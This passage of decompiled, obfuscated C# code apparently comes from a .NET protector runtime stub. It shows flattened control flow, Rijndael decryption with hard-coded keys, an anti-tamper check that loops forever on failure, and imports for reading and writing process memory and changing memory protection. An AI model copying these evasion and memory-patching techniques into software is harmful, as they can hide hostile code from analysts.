tcJNIpeNWph4hwAAuQ.vQrJflSAVSoQOWgVke(true); num1 = 191; continue; case 328: num4 = 140 - 46; num6 = 199; break; case 329: num4 = 217 - 72; num5 = 164; if (true) goto label_342; else goto case 123; case 330: numArray2[3] = (byte) num4; num1 = 212; continue; case 331: numArray2[23] = (byte) (203 - 67); num1 = 200; continue; case 332: num4 = 183 - 61; num5 = 216; if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto label_342; else goto case 119; case 333: numArray2[15] = (byte) num4; num6 = 317; break; case 334: numArray1[2] = (byte) num3; num1 = 76; continue; case 335: num4 = 238 - 79; num5 = 176; goto label_342; case 336: numArray1[4] = (byte) (174 - 58); num6 = 72; break; case 337: numArray2[10] = (byte) num4; num5 = 81; if (true) goto label_342; else goto case 57; case 338: numArray2[1] = (byte) num4; num6 = 114; break; case 339: numArray1[10] = (byte) num3; num1 = 210; continue; case 340: num3 = 254 - 84; num6 = 28; break; case 341: numArray2[26] = (byte) num4; num5 = 268; goto label_342; case 342: num4 = 35 - 27; num5 = 224; if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto label_342; else goto case 37; case 343: num4 = 204 - 68; num5 = 232; if (tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto label_342; else goto case 263; case 344: numArray2[18] = (byte) num4; num5 = 44; if (true) goto label_342; else goto case 166; case 345: numArray2[14] = (byte) num4; num1 = 97; continue; case 346: num4 = 62 + 111; goto case 145; case 347: numArray2[14] = (byte) (84 + 53); num5 = 240; if (true) goto label_342; else goto case 348; case 348: numArray2[27] = (byte) (254 - 84); num5 = 56; if (true) goto label_342; else goto case 297; case 349: numArray2[14] = (byte) num4; num6 = 242; break; case 350: numArray1[0] = (byte) (143 - 47); num5 = 290; if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto case 334; else goto label_342; case 351: goto label_357; default: num5 = 145; goto label_342; } num5 = num6; label_342: num1 = num5; } label_357: try { return (string) tcJNIpeNWph4hwAAuQ.\u0035IX90sERViywPsesL4(tcJNIpeNWph4hwAAuQ.mD990mTdgWIHpXY4tc(), (object) tcJNIpeNWph4hwAAuQ.GL3ceA32Y, obj0 + 4, num2); } catch { } return ""; } [tcJNIpeNWph4hwAAuQ.BfvlDRFE57x0KNgMOl(typeof (tcJNIpeNWph4hwAAuQ\u002FBfvlDRFE57x0KNgMOl\u002F5JAHjnIB6CPlXvOV00[]))] [MethodImpl(MethodImplOptions.NoInlining)] internal static string reWBsatke([In] string obj0) { "{11111-22222-50001-00000}".Trim(); byte[] bytes = Convert.FromBase64String(obj0); return Encoding.Unicode.GetString(bytes, 0, bytes.Length); } [DllImport("kernel32.dll", EntryPoint = "VirtualProtect", SetLastError = true)] private static extern int \u0039ML9lo6tT([In] ref IntPtr obj0, [In] int obj1, [In] int obj2, [In] ref int obj3); [MethodImpl(MethodImplOptions.NoInlining)] private static void fTu8VEKSg() { } [MethodImpl(MethodImplOptions.NoInlining)] internal static object HnbvO3JPm([In] object obj0) { try { return (object) obj0.GetType().GetProperty("Location").GetValue(obj0, new object[0]).ToString(); } catch { return (object) ""; } } [DllImport("kernel32", EntryPoint = "LoadLibrary")] public static extern IntPtr \u0031aAAcYcfl([In] string obj0); [DllImport("kernel32", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi)] public static extern IntPtr \u0039igTocIex([In] IntPtr obj0, [In] string obj1); [DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory")] private static extern int pnx70C29O( [In] IntPtr obj0, [In] IntPtr obj1, [In, Out] byte[] _param2, [In] uint obj3, out IntPtr _param4); [DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")] private static extern int UM3hfdlP3( [In] IntPtr obj0, [In] IntPtr obj1, [In, Out] byte[] _param2, [In] uint obj3, out IntPtr _param4); [DllImport("kernel32.dll", EntryPoint = "VirtualProtect")] private static extern int yGrGFt2Ng([In] IntPtr obj0, [In] int obj1, [In] int obj2, [In] ref int obj3); [DllImport("kernel32.dll", EntryPoint = "OpenProcess")] private static extern IntPtr \u0034J3iGuO2D([In] uint obj0, [In] int obj1, [In] uint obj2); [DllImport("kernel32.dll", EntryPoint = "CloseHandle")] private static extern int YPoCMoGHZ([In] IntPtr obj0); [tcJNIpeNWph4hwAAuQ.BfvlDRFE57x0KNgMOl(typeof (tcJNIpeNWph4hwAAuQ\u002FBfvlDRFE57x0KNgMOl\u002F5JAHjnIB6CPlXvOV00[]))] [MethodImpl(MethodImplOptions.NoInlining)] private static byte[] oEv1kgedQ([In] string obj0) { byte[] buffer; using (FileStream fileStream = new FileStream(obj0, FileMode.Open, FileAccess.Read, FileShare.Read)) { int offset = 0; int length = (int) fileStream.Length; buffer = new byte[length]; int num; for (; length > 0; length -= num) { num = fileStream.Read(buffer, offset, length); offset += num; } } return buffer; } [tcJNIpeNWph4hwAAuQ.BfvlDRFE57x0KNgMOl(typeof (tcJNIpeNWph4hwAAuQ\u002FBfvlDRFE57x0KNgMOl\u002F5JAHjnIB6CPlXvOV00[]))] [MethodImpl(MethodImplOptions.NoInlining)] private static byte[] \u0033REZxwYE8([In] byte[] obj0) { MemoryStream memoryStream = new MemoryStream(); Rijndael rijndael = Rijndael.Create(); rijndael.Key = new byte[32] { (byte) 167, (byte) 184, (byte) 127, (byte) 203, (byte) 135, (byte) 48, (byte) 101, (byte) 197, (byte) 28, (byte) 174, (byte) 125, (byte) 141, (byte) 244, (byte) 51, (byte) 137, (byte) 119, (byte) 144, (byte) 51, (byte) 23, (byte) 165, (byte) 186, (byte) 237, (byte) 166, (byte) 82, (byte) 244, (byte) 244, (byte) 13, (byte) 235, (byte) 143, (byte) 18, (byte) 145, (byte) 125 }; rijndael.IV = new byte[16] { (byte) 68, (byte) 88, (byte) 11, (byte) 129, (byte) 136, (byte) 226, (byte) 7, (byte) 65, (byte) 2, (byte) 95, (byte) 18, (byte) 189, (byte) 178, (byte) 186, (byte) 66, (byte) 249 }; CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndael.CreateDecryptor(), CryptoStreamMode.Write); cryptoStream.Write(obj0, 0, obj0.Length); cryptoStream.Close(); return memoryStream.ToArray(); } [MethodImpl(MethodImplOptions.NoInlining)] private byte[] B1Cp1eERm() => (byte[]) null; [MethodImpl(MethodImplOptions.NoInlining)] private byte[] bhFIRp8Sr() => (byte[]) null; [MethodImpl(MethodImplOptions.NoInlining)] private byte[] DeWUrFjAC() => "{11111-22222-20001-00001}".Length > 0 ? new byte[2] { (byte) 1, (byte) 2 } : new byte[2]{ (byte) 1, (byte) 2 }; [MethodImpl(MethodImplOptions.NoInlining)] private byte[] PMFLr6jcg() => "{11111-22222-20001-00002}".Length > 0 ? new byte[2] { (byte) 1, (byte) 2 } : new byte[2]{ (byte) 1, (byte) 2 }; [MethodImpl(MethodImplOptions.NoInlining)] private byte[] gapYO5dWO() => "{11111-22222-30001-00001}".Length > 0 ? new byte[2] { (byte) 1, (byte) 2 } : new byte[2]{ (byte) 1, (byte) 2 }; [MethodImpl(MethodImplOptions.NoInlining)] private byte[] \u0039fUblSrWA() => "{11111-22222-30001-00002}".Length > 0 ? new byte[2] { (byte) 1, (byte) 2 } : new byte[2]{ (byte) 1, (byte) 2 }; [MethodImpl(MethodImplOptions.NoInlining)] internal byte[] LbvExRxKc() => "{11111-22222-40001-00001}".Length > 0 ? new byte[2] { (byte) 1, (byte) 2 } : new byte[2]{ (byte) 1, (byte) 2 }; [MethodImpl(MethodImplOptions.NoInlining)] internal byte[] liVgja8J0() => "{11111-22222-40001-00002}".Length > 0 ? new byte[2] { (byte) 1, (byte) 2 } : new byte[2]{ (byte) 1, (byte) 2 }; [MethodImpl(MethodImplOptions.NoInlining)] internal byte[] tScwXMrXr() => (byte[]) null; [MethodImpl(MethodImplOptions.NoInlining)] internal byte[] jS3acjXDo() => (byte[]) null; [tcJNIpeNWph4hwAAuQ.BfvlDRFE57x0KNgMOl(typeof (tcJNIpeNWph4hwAAuQ\u002FBfvlDRFE57x0KNgMOl\u002F5JAHjnIB6CPlXvOV00[]))] [MethodImpl(MethodImplOptions.NoInlining)] internal static void ce4DmfsmSrOT856tDgfrkMb() { if (!(tcJNIpeNWph4hwAAuQ.\u0039kNN8e5d1(Convert.ToBase64String(typeof (tcJNIpeNWph4hwAAuQ).Assembly.GetName().GetPublicKeyToken()), " ") != " ")) return; while (true) tcJNIpeNWph4hwAAuQ.ce4DmfsmSrOT856tDgfrkMb(); } [tcJNIpeNWph4hwAAuQ.BfvlDRFE57x0KNgMOl(typeof (tcJNIpeNWph4hwAAuQ\u002FBfvlDRFE57x0KNgMOl\u002F5JAHjnIB6CPlXvOV00[]))] [MethodImpl(MethodImplOptions.NoInlining)] internal static string \u0039kNN8e5d1([In] string obj0, [In] string obj1) { byte[] bytes = Encoding.Unicode.GetBytes(obj0); byte[] numArray = new byte[32] { (byte) 82, (byte) 102, (byte) 104, (byte) 110, (byte) 32, (byte) 77, (byte) 24, (byte) 34, (byte) 118, (byte) 181, (byte) 51, (byte) 17, (byte) 18, (byte) 51, (byte) 12, (byte) 109, (byte) 10, (byte) 32, (byte) 77, (byte) 24, (byte) 34, (byte) 158, (byte) 161, (byte) 41, (byte) 97, (byte) 28, (byte) 118, (byte) 181, (byte) 5, (byte) 25, (byte) 1, (byte) 88 }; byte[] hash = new MD5CryptoServiceProvider().ComputeHash(Encoding.Unicode.GetBytes(obj1)); MemoryStream memoryStream = new MemoryStream(); Rijndael rijndael = Rijndael.Create(); rijndael.Key = numArray; rijndael.IV = hash; CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndael.CreateEncryptor(), CryptoStreamMode.Write); cryptoStream.Write(bytes, 0, bytes.Length); cryptoStream.Close(); return Convert.ToBase64String(memoryStream.ToArray()); } [MethodImpl(MethodImplOptions.NoInlining)] public tcJNIpeNWph4hwAAuQ() { } [MethodImpl(MethodImplOptions.NoInlining)] internal static Type AcfijO9t4mjClQ6fva([In] RuntimeTypeHandle obj0) => Type.GetTypeFromHandle(obj0); [MethodImpl(MethodImplOptions.NoInlining)] internal static object UqbOGpq63TyLlUGXJW([In] object obj0, [In] object obj1) => (object) ((Assembly) obj0).GetManifestResourceStream((string) obj1); [MethodImpl(MethodImplOptions.NoInlining)] internal static object nVE2fSvqA5eakI1h2r([In] object obj0) => (object) ((BinaryReader) obj0).BaseStream; [MethodImpl(MethodImplOptions.NoInlining)] internal static void yR4MXxUE0wNxKWF1D2([In] object obj0, [In] long obj1) => ((Stream) obj0).Position = obj1; [MethodImpl(MethodImplOptions.NoInlining)] internal static void vQrJflSAVSoQOWgVke([In] bool obj0) => RSACryptoServiceProvider.UseMachineKeyStore = obj0; [MethodImpl(MethodImplOptions.NoInlining)] internal static long ADhgXga9MB5V1Hqp3w([In] object obj0) => ((Stream) obj0).Length; [MethodImpl(MethodImplOptions.NoInlining)] internal static object VaIBMZrM3OhKoOEnVs([In] object obj0, [In] int obj1) => (object) ((BinaryReader) obj0).ReadBytes(obj1); [MethodImpl(MethodImplOptions.NoInlining)] internal static object YcrGL4NUCmnjFJYNgC([In] object obj0) => (object) ((Assembly) obj0).GetName(); [MethodImpl(MethodImplOptions.NoInlining)] internal static object YBvqUig9DLUjnWySsQ([In] object obj0) => (object) ((AssemblyName) obj0).GetPublicKeyToken(); [MethodImpl(MethodImplOptions.NoInlining)] internal static void BBLMx5yH9F58Ej6cea([In] object obj0, [In] CipherMode obj1) => ((SymmetricAlgorithm) obj0).Mode = obj1; [MethodImpl(MethodImplOptions.NoInlining)] internal static object iiKPN0bEEIKMuOuMi3([In] object obj0, [In] object obj1, [In] object obj2) => (object) ((SymmetricAlgorithm) obj0).CreateDecryptor((byte[]) obj1, (byte[]) obj2); [MethodImpl(MethodImplOptions.NoInlining)] internal static void d7sHfO4N5DOZeigibM([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) => ((Stream) obj0).Write((byte[]) obj1, obj2, obj3); [MethodImpl(MethodImplOptions.NoInlining)] internal static void m780xdZcMXPdcdM8wI([In] object obj0) => ((CryptoStream) obj0).FlushFinalBlock(); [MethodImpl(MethodImplOptions.NoInlining)] internal static object YclNYYegYZPuMd3xpB([In] object obj0) => (object) ((MemoryStream) obj0).ToArray(); [MethodImpl(MethodImplOptions.NoInlining)] internal static void kV3G5bdMkFMPo7RgZa([In] object obj0) => ((Stream) obj0).Close(); [MethodImpl(MethodImplOptions.NoInlining)] internal static void waXoBs6rVMnfUtwTXQ([In] object obj0) => ((BinaryReader) obj0).Close(); [MethodImpl(MethodImplOptions.NoInlining)] internal static int DVb3smulRceQ8RTb96([In] object obj0, [In] int obj1) => BitConverter.ToInt32((byte[]) obj0, obj1); [MethodImpl(MethodImplOptions.NoInlining)] internal static object mD990mTdgWIHpXY4tc() => (object) Encoding.Unicode; [MethodImpl(MethodImplOptions.NoInlining)] internal static object \u0035IX90sERViywPsesL4([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) => (object) ((Encoding) obj0).GetString((byte[]) obj1, obj2, obj3); [MethodImpl(MethodImplOptions.NoInlining)] internal static bool Fytij3VHrfVxpKCDDL() => true; [MethodImpl(MethodImplOptions.NoInlining)] internal static bool oaykchBDbAeGIqjTk1() => false; internal class BfvlDRFE57x0KNgMOl : Attribute { [tcJNIpeNWph4hwAAuQ.BfvlDRFE57x0KNgMOl(typeof (tcJNIpeNWph4hwAAuQ\u002FBfvlDRFE57x0KNgMOl\u002F5JAHjnIB6CPlXvOV00[]))] [MethodImpl(MethodImplOptions.NoInlining)] public BfvlDRFE57x0KNgMOl([In] object obj0) { qriSERnLWqCHHxhiWL.mQJJcrKz2UjcR(); // ISSUE: explicit constructor call base.\u002Ector(); } internal class \u0035JAHjnIB6CPlXvOV00 { [MethodImpl(MethodImplOptions.NoInlining)] public \u0035JAHjnIB6CPlXvOV00() { qriSERnLWqCHHxhiWL.mQJJcrKz2UjcR(); // ISSUE: explicit constructor call base.\u002Ector(); } } } [UnmanagedFunctionPointer(CallingConvention.StdCall)] internal delegate uint TIjMQaw2VtqJb1Fdv1( [MarshalAs(UnmanagedType.U8)] ref ulong _param1, [In] IntPtr obj1, [In] IntPtr obj2, [MarshalAs(UnmanagedType.U4)] uint _param4, [In] ref IntPtr obj4, [In] ref uint obj5); [UnmanagedFunctionPointer(CallingConvention.StdCall)] private delegate IntPtr \u0035OOJkf8pTQg2pEvBmJ(); internal struct T66qj7OdDGA22iJk98 { internal bool Uj1VGPQhn; internal byte[] reWBsatke; } [Flags] private enum waEsENTLJ5Ac5n8Lh0 { } } }